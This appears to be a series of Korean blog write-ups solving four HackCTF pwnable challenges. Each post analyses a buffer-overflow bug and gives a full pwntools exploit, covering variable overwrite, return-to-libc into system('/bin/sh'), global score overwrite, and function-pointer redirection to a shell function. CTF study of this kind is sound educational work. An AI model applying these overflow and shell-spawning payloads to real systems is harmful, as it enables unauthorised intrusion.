728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는

https://ctf.j0n9hyun.xyz/

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

 

문제 이름은 Basic_BOF #1 이다.

 

Basic_BOF #2 문제 풀이를 먼저 올려서 늦은 감이 있지만, 풀어보도록 하겠다.

 

문제를 보면 다음과 같다.

문제 모습

BOF에 관한 문제인 것을 알 수 있다.

 

해당 실행 파일을 다운 받아서 IDA Pro로 분석해보자.

 

main 코드

코드 분석

line 6: v5에 67305985를 대입한다.

 

line 7: s45바이트 만큼 입력 받는다.

 

line 8~9: s를 출력하고 v5 주소 값을 출력한다.

 

line 10~11: v5가 67305985가 아니고, -559038737이 아니면 잘하고 있다고 출력!

 

line 12~17: v5-559038737이면 맞고, system 함수 실행

 

 

즉, v5 값을 -559038737로 바꿔야 한다.

 

스택 구조를 보면

s

주소: (0x34)

---------------

v5

주소: (0x0C)

 

 

s와 v5간의 격차가 40바이트인데, s는 45바이트를 입력 받는다. 즉, BOF 발생 가능

 

이를 바탕으로 페이로드를 작성하면, 다음과 같다.

 

from pwn import*

p = remote("ctf.j0n9hyun.xyz", 3000)

v5 = 0xDEADBEEF

payload = "a"*40 + p32(v5)

p.sendline(payload)

p.interactive()

-559038737는 0xDEADBEEF 로 변환될 수 있다.

 

40바이트는 더미로 채워주고 이어서, 0xDEADBEEF 를 채워 v5 값을 바꿔주는 코드이다.

 

해당 payload를 실행시킨 결과 다음과 같이 플래그 값을 얻을 수 있다.

 

실행시킨 결과

이렇게 문제가 해결된다~!!!

 

매우 기초적인 문제였다.

728x90
728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 https://ctf.j0n9hyun.xyz/ 이다.

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

문제 이름은 RTL_World 이다.

 

해당 문제는 NX-bit 기법이 적용되었을 때, 스택에서 코드를 실행하는 대신에 공유 라이브러리 함수

주소를 가져와 Overwrite 해서 공격하는 기법에 대한 내용이 들어간다.

 

만약에 RTL 공격 기법에 대해서 모른다면 다음 사이트를 참조하길 바란다. 매우 자세히 설명되어 있다!

 

https://lactea.kr/entry/bof-Return-to-Libc-RTL-%EA%B3%B5%EA%B2%A9-%EA%B8%B0%EB%B2%95

 

[bof] - Return to Libc (RTL) 공격 기법

0x01 What is it? RTL 공격은 스택에 NX-bit 보안 기법이 적용 되었을때 사용하는 공격 기법이다. NX란 Never eXecutable stack 을 줄인 말로 "스택에서 코드 실행 불가" 라는 보안 역할을 한다. NX-bit 때문에 스..

lactea.kr

 

자.. 이제 문제 풀이를 시작해보겠습니다.

 

문제를 보면 다음과 같다.

 

 

RTL_World 문제

 

문제 이름을 통해서 RTL 기법이 사용될 것이란 걸 유추해볼 수 있다.

실행 파일을 다운 받아서 실행시켜 보자.

 


문제 실행 및 이해

 

실행 결과

 

이진 보스를 죽여달라는 메시지와 선택지가 주어진다.

1번을 누르니

 

1번 누른 결과

 

이진 보스의 정보에 대해서 출력된다. 보안기법과 주소에 대한 내용이 있다.

보스의 HP는 140에 Armor에 4더한 값임을 알 수 있다.

아마 문제를 푸는데 있어서 힌트를 주는 것 같다.

 

2번을 누르니 

 

2번 누른 결과

 

자본주의 세계라서 돈을 벌어야 한다. 아마도 돈을 일정 이상 모아서

System Armor와 Shell Sword를 사야하는 것 같다.

Farming을 하니 100 골드를 주고,

Item을 파니 350 골드를 주고,

Huntinf을 하니 500 골드를 준다.

(근데 실제로는 101, 351, 501 골드를 준다.. 아마 코드에서 ++gold 이런식으로 의도치 않게 1골드 더 받는 것 같다.)

 

비쌀 것 같아서 돈을 10000 골드 정도는 모으고 3번과 4번을 눌러서 구매를 시도해봤다.

 

Armor와 Sword를 구매한 결과

 

이제 다 샀으니 죽이러 가보자.. 근데 5번을 누르니 입력을 받는다.

 

5번 누른 모습

 

음...그냥 이렇게 끝난다. 아무래도 Attack에서 권한을 뺏는 문자열을 입력하는 것처럼 보인다.

누르고 여기 저기 탐방하는게 은근히 재밌어서 문제 파악에 오래 걸렸다.


문제 분석

IDA Pro로 해당 프로그램을 분석해보자.

 

 

main 코드

 

코드가 생각보다 길다 차근 차근 분석해보자.

 

main line 11~13 :

dlopen을 통해서 동적 라이브러리를 로드하고, dlsym을 통해서 라이브러리에서 system 함수의 위치를 찾아서 v6에 대입한다.

 

v6System 함수의 주소 값을 가짐

 

main line 14 :

for문에서 s1v6의 주소를 대입 받아 memcmp로 s1"/bin/sh"를 8바이트 비교해서 다르면, s1을 1씩 증가시키는 것을 반복한다. 즉, s1"/bin/sh"를 가리킬 때까지 반복하고 끝난다. 

 

s1"/bin/sh"의 주소 값을 가짐.

 

main line 16~21 : 마을 상황에 대해서 출력함 (내용 출력)

 

main line 22~26 : 무한 반복문이 시행되면서, 메뉴 함수를 실행시켜 메뉴를 출력하고 번호를 입력 받는다.

 

main line 29~40 : 1번을 입력 받은 경우, 위의 내용을 클리어하고 이진 보스에 대한 정보를 출력한다.

 

main line 41~43 : 2번을 입력 받은 경우, Get_money함수를 실행시킴

 

 

Get_money line 8~11: 자본주의라는 말과 3가지 옵션을 주는 내용을 출력함.

 

Get_money line 12~13: v30으로 초기화하고, v2랜덤인 값을 대입해준다.

 

Get_money line 14~15: v1에 선택 번호를 입력 받음

 

Get_money line 17~25:

2번을 입력 받은 경우, v3350이 될 때까지 ++v3 하고, 그 값을 gold에 더해주고 골드가 얼마 있는지 출력한다. 즉, 351 골드를 벌게 됨.

 

Get_money line 26~36:

v12보다 큰 경우에서 3인 경우, v3500이 될 때까지 ++v3 하고,  그 값을 gold에 더해주고 골드가 얼마 있는지 출력한다. 즉, 501 골드를 벌게 됨. 

 

Get_money line 37~46:

v1이 2보다 큰 경우에서 4인 경우, 숨겨진 key number를 찾았다고 하고 랜덤 값이 대입된 v2gold에 더해주고 골드가 얼마 있는지 출력한다. 즉, 랜덤한 골드를 벌게 됨.

 

Get_money line 47~57:

v1이 1인 경우, v3을 100이 될 때까지 ++v3 하고,  그 값을 gold에 더해주고 골드가 얼마 있는지 출력한다. 즉, 101 골드를 벌게 됨.  

 

main line 44~54 :

3을 선택한 경우, gold가 1999이하면 골드 없다고 출력하며, 초과인 경우 System 함수 주소 값인 v6(System Armor)을 출력한다. 

 

main line 55~65 :

4를 선택한 경우, gold가 2999이하면 골드 없다고 출력하며, 초과인 경우 "/bin/sh" 주소 값인 s1(Shell Sword)을 출력한다. 

 

main line 66~69 :

5를 선택한 경우, [Attack] > 을 출력하고 buf1024 바이트를 입력 받으며 종료한다. 이 때, buf의 크기는 128 바이트로 BOF 발생 가능.

 

main line 70~73 :

6을 선택한 경우, Your Not Hero. . . Bye. . . 를 출력하고 종료한다.

 

main line 74~78 : 그 외의 경우 반복문 수행.

 


전반적인 분석을 마쳤다.

정리해보면, System 함수 주소와 "/bin/sh" 주소를 알기 위해서는

1999 + 2999 = 4998 골드가 필요하고 기본 골드 1000이 있으므로,

3998 골드를 일해서 벌어야 한다.

 

그렇게 알아낸 주소를 이용해서 buf에 128 바이트를 넘게 입력시켜 BOF를 일으켜서

system 함수로 이동하고, "/bin/sh"를 실행시키면 문제가 풀릴 것 같다.

 

구조를 보면,

buf

(0x80)

-------------

v6

(0x04)

-------------

handle

(0x04)

-------------

s1

(0x04)

-------------

sfp

(0x04)

-------------

ret

 

이다.

 

우리는 buf부터 sfp까지 더미로 채워야 하는데, 사이즈가 128 + 4 + 4 + 4 + 4 =144 바이트이다.

 

ret 부분에는 System의 주소 값을 넣어주고,

함수 인자로 "/bin/sh"를 넣어주어야 하는데, 

이 때, 4바이트를 더미 값으로 채운 다음에 "/bin/sh"를 넣어줘야 한다. 

함수는 (ex. ebp + 0x08) 8바이트 떨어진 곳에서 값을 가져오므로

4바이트는 더미 나머지 4바이트는 "/bin/sh"가 되어야 한다.

 

정리해보면,

더미 144 바이트 + System 주소 + 더미 4바이트 + "/bin/sh" 주소

가 된다.

 

이를 바탕으로 페이로드를 작성해보면 다음과 같다.

 

from pwn import*

p = remote("ctf.j0n9hyun.xyz", 3010)

for i in range(0,8):
    p.recvuntil(">>> ")
    p.sendline("2")
    p.recvuntil("(Job)>>> ")
    p.sendline("3")


p.recvuntil(">>> ")
p.sendline("3")
p.recvuntil("System Armor : ")

system = int(p.recv(10), 16)


p.recvuntil(">>> ")
p.sendline("4")
p.recvuntil("Shell Sword : ")

shell = int(p.recv(10), 16)


p.recvuntil(">>> ")
p.sendline("5")

payload = "A"*144 + p32(system) + "a"*4 + p32(shell)

p.recvuntil("[Attack] > ")
p.sendline(payload)

p.interactive()

간단하게 살펴보면, 반복문을 통해서 골드를 버는 작업을 수행하는데

제일 많이 벌 수 있는 것이 500골드이며, 필요한 골드가 3998 골드이므로 8번 반복해준다.

 

골드를 충분히 벌고 나서 3번 항목을 눌러서 System 함수 주소를 얻고, 4번 항목을 눌러서 "/bin/sh" 주소를 얻는다.

 

이후, 5번 Attack을 눌러서 buf에 144 바이트 더미 + System 함수 주소 + 4 바이트 더미 + "/bin/sh" 주소를 대입해서 권한을 얻는다.

 

(System 함수 주소와 "/bin/sh" 주소는 32 비트 리틀 엔디안 방식으로 패킹해서 대입된다.)

 

페이로드를 실행시키면 다음과 같다.

 

페이로드 실행시킨 결과

 

이렇게 문제는 해결된다~!!!

 

 

728x90
728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 https://ctf.j0n9hyun.xyz/이다.

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

문제 이름은 Poet 이다.

 

문제를 보면 다음과 같다.

 

Poet 문제

 

아무런 설명이 없으니 실행 파일을 다운 받고 실행시켜 보자.

 

 

실행 결과

 

실행시켜보니 한 줄의 시와 시인 이름을 입력 받고, 점수를 알려준다.

1,000,000 점의 점수를 획득해야 한다고 알려주며, 계속 입력 받는 것을 반복한다.

 

일단 잘 모르겠으니 checksec으로 보안기법을 확인한 후 IDA Pro로 열어보도록 하자.

 

 

poet에 적용된 보안기법

 

NX-bit 보안 기법이 걸려 있어, 스택에서 코드 실행이 불가능해 보인다.

RELRO는 Partial이라고 나온다. (아직, RELRO 기법은 공부하지 않아서 정확한 의미는 모르겠다.)

 

IDA Pro로 확인해보자.

 

IDA Pro로 본 poet의 main 코드

 

중요한 코드들만 분석해 보면 다음과 같다.

 

main line 4 : puts(s); 로 s에 들어있는 문자열을 출력함. ( 우리는 2018년~~ 라는 내용을 담고 있다.)

main line 5 : while(1)로 무한 반복문 실행

main line 7 : get_poem 함수 실행

 

get_poem 함수

 

해당 함수는 poem(전역변수)에 시에 대한 내용을 입력받고, dword_6024E0(전역변수)에 0을 대입한다.

 

main line 8 : get_author 함수 실행

 

get_author 함수

 

해당 함수는 byte_400C38 문자열(이 시의 저자는 누구 입니까?)을 출력하고, gets로 unk_6024A0(전역변수)에 저자를 입력 받는다.

 

main line 9 : rate_poem 함수 실행

 

rate_poem 함수

 

 

dest에 시 내용을 복사하고, 문장을 단어로 쪼개서(띄어쓰기 단위로) ESPR, eat, sleep, pwn, repeat, CTF, capture, flag란 단어가 있는지 확인하고 있으면 dword_6024E0100씩 더한다.

이후에 return시 시 내용과 dword_6024E0 값을 출력한다.

 

main line 10 : dword_6024E0이 1,000,000이면 break를 통해서 반복문을 빠져 나옴.

 

main line 12 : 1,000,000이 아니면 asc_400D78 를 출력함. (점수가 부족하다는 내용에 해당함)

 

main line 14 : reward 함수 실행

 

 

reward 함수

 

flag에 대한 내용을 받아서 시 내용과 점수 그리고 flag를 출력해주고 종료하는 함수이다.

 

 

정리를 해보자면, 특정 문자가 들어갈 때마다 100점씩 받게 되고,

1,000,000점을 넘기면 flag 값이 출력된다.

 

핵심은 점수를 1,000,000점으로 만드는 것이다.

특정 문자를 10,000번 넣는 방법이 제일 먼저 떠올랐지만 

그런 방법을 원하는 것은 아닐 것이다.

 

dword_6024E0의 값을 1,000,000으로 바꿔주면 될 것 같아서 구조를 살펴보고 있었는데,

unk_6024A0와 64바이트 격차를 가지고 있었다.

즉, author를 입력할 때 BOF를 발생시켜 점수에 해당하는

dword_6024E0의 값을 1,000,000으로 덮어주면 쉽게 해결될 것 같다.

 

구조

unk_6024A0

(64바이트)

-----------------------------

dword_6024E0

 

이를 바탕으로 페이로드를 작성했다.

from pwn import*

p = remote("ctf.j0n9hyun.xyz", 3012)

p.recvuntil("> ")

p.sendline("a")

p.recvuntil("> ")

payload = "A"*64 + p64(1000000)

p.send(payload)

p.interactive()

시 내용에는 그냥 아무 문자를 넣어주고, 저자 이름에 64바이트를 아무 문자로 채우고 이어서 64비트 리틀엔디안 방식으로 패킹해서 1,000,000의 값을 점수 영역에 넣는 문자열을 넣어주었다.

 

실행 결과

 

페이로드 실행 결과

 

 

이렇게 문제가 해결된다!!!

728x90
728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 https://ctf.j0n9hyun.xyz/이다.

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 포너블 분야로 기초적인 문제 중 하나이다.

 

문제를 보면 다음과 같다.

 

Basic_BOF #2

 

우선 해당 파일을 다운 받고, 실행권한을 부여한다.

다운 받고 실행한 결과 모습

 

실행을 시켜본 결과 입력을 받고 어떤 입력을 받는지 상관 없이 "하아아아아아아아아앙"이 출력된다.. 

 

???????? 뭔가 좀 이상한데

 

어쨌든... 일단 보안 기법이 어떤 것이 적용되었는지 확인해보자.

 

checksec을 통한 보호 기법 확인

NX enabled이므로 NX 기법이 적용되어 쉘 실행이 불가능해 보인다.

 

이제 파악할 수 있는 것은 다 해봤으니

 

정확하게 이 프로그램이 어떤 구조를 가졌는지 파악하기 위해서 IDA pro 툴을 이용해서 분석해보도록 하자.

 

일단, 함수 중에서 shell이라고 눈에 띄는 함수가 보인다.

 

그리고 IDA pro의 F5 hex ray를 통해서 main 소스 코드를 살펴보면 다음과 같다.

 

main 소스 코드

 

코드를 보면, v5는 함수 포인터로 sup 함수 주소 값이 들어가고

 

s는 fgets 함수에 의해서 133바이트를 입력받는다. 

 

마지막으로 v5를 실행시키는데, 다시 말해서 sup 함수를 실행시킨다.

 

 

 

함수들을 살펴보면, 

 

sup 함수

sup 함수는 s를 출력시키는 함수이다.

 

shell 함수

shell 함수는 쉘 코드를 대신해서 사용할 수 있는 함수이며, 주소는 0x804849B임을 알 수 있다.

 

 

이제 조금씩 어떻게 할지 그림이 그려지는 것 같다!

 

변수 s는 ebp로부터 0X8C 즉, 140바이트 떨어져 있는데 fgets로 133바이트만 입력할 수 있다.

 

그러니 return 값을 버퍼 오버플로우해서 건드리는 것은 사용할 수 없어 보인다.

 

그러므로 함수 포인터인 v5를 이용해야 한다. v5가 가리키는 sup 함수 대신에 shell 함수를 가리킨다면,

shell 함수가 실행되어서 관리자 권한을 획득할 수 있게 될 것이다.

 

v5는 ebp로부터 0xc 즉, 12바이트 떨어져 있다. 즉, 140 - 12 = 128 128바이트 만큼의 거리 차이가 난다.

 

다시 말해서, s에 128바이트를 아무 값으로 채워 넣은 다음에 shell 함수 주소인 0x804849B 를 v5에 넣어주면 될 것이다!

 

코드 작성

from pwn import*

p = remote("ctf.j0n9hyun.xyz", 3001)

shell_address = 0x804849B

pay = "\x80"*128 + p32(shell_address)

p.send(pay)

p.interactive()

 

위에서 설명한 것처럼 128바이트는 아무 문자로 채우고 쉘 함수 주소 값을 32비트 리틀 엔디안 방식으로 패킹해서 넣어서 쉘 함수를 실행시키는 페이로드를 작성했다.

 

페이로드를 실행시켜보면, 다음과 같다.

페이로드 실행시킨 결과

이렇게 문제가 해결된다~!!!

728x90